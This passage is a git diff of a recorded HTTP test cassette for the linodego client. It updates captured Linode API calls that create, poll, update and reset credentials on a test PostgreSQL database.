"updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9990,23 +12523,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "687" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:05:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10015,7 +12551,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10031,10 +12567,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/ssl + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"ca_certificate": null}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10047,23 +12590,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "24" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:05:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10072,7 +12618,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10088,10 +12634,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"username": "linpostgres", "password": "GcT0JHqj$X7fOvZ3"}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10104,23 +12657,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "59" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10129,7 +12685,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10145,10 +12701,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials/reset - method: POST + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET response: - body: '{}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10161,21 +12724,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "2" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10184,7 +12752,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10200,10 +12768,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"username": "linpostgres", "password": "1Wr5Hyv0etHT0y-X"}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, + "duration": 2398, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "finished", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10216,23 +12791,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "59" + - "463" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10241,7 +12819,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10257,10 +12835,20 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/patch - method: POST + url: https://api.linode.com/v4beta/databases/postgresql/instances + method: GET response: - body: '{}' + body: '{"data": [{"id": 133403, "label": "go-postgres-testing-def", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", + "port": 5432, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"170.187.249.150": "primary", "170.187.249.245": + "failover", "139.144.1.196": "failover"}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, + "day_of_week": 7, "week_of_month": null}, "replication_commit_type": "local"}], + "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10273,21 +12861,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10296,7 +12888,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10312,18 +12904,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133403, "label": "go-postgres-testing-def", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", + "port": 5432, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"170.187.249.150": "primary", "170.187.249.245": + "failover", "139.144.1.196": "failover"}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, + "day_of_week": 7, "week_of_month": null}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10336,16 +12929,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "833" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:33 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10361,14 +12957,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: "" + body: '{"label":"go-postgres-testing-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' form: {} headers: Accept: @@ -10377,18 +12973,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 - method: GET + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 + method: PUT response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10401,23 +12997,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10426,7 +13024,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10442,18 +13040,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133403,"entity.type":"database"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755472150, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def-updated", "id": 133403, "type": "database", + "url": "/v4/databases/postgresql/instances/133403"}, "status": "notification", + "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": + 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10466,23 +13064,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "476" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:06:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10491,7 +13092,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10507,18 +13108,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133403,"entity.type":"database","id":{"+gte":755472150}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755472150, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, + "duration": 29, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def-updated", "id": 133403, "type": "database", + "url": "/v4/databases/postgresql/instances/133403"}, "status": "finished", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -10531,23 +13131,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:07:05 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10556,7 +13159,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10572,18 +13175,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"170.187.249.150": "primary", "170.187.249.245": + "failover", "139.144.1.196": "failover"}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10596,16 +13200,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "844" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:07:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10621,7 +13228,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10637,18 +13244,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/ssl method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"ca_certificate": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -10661,16 +13260,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "24" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:07:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10686,7 +13288,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10702,18 +13304,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/credentials method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"username": "linpostgres", "password": "Pebm73oJqGDF$IoD"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10726,16 +13320,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "59" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:07:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10751,7 +13348,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10767,18 +13364,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 - method: GET + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/credentials/reset + method: POST response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -10791,23 +13380,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:12:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10816,7 +13407,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10832,18 +13423,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/credentials method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"username": "linpostgres", "password": "ehCx3wLk5RMtee$S"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10856,16 +13439,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "59" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:12:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10881,7 +13467,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10897,18 +13483,10 @@ interactions: - application/json User-Agent: - 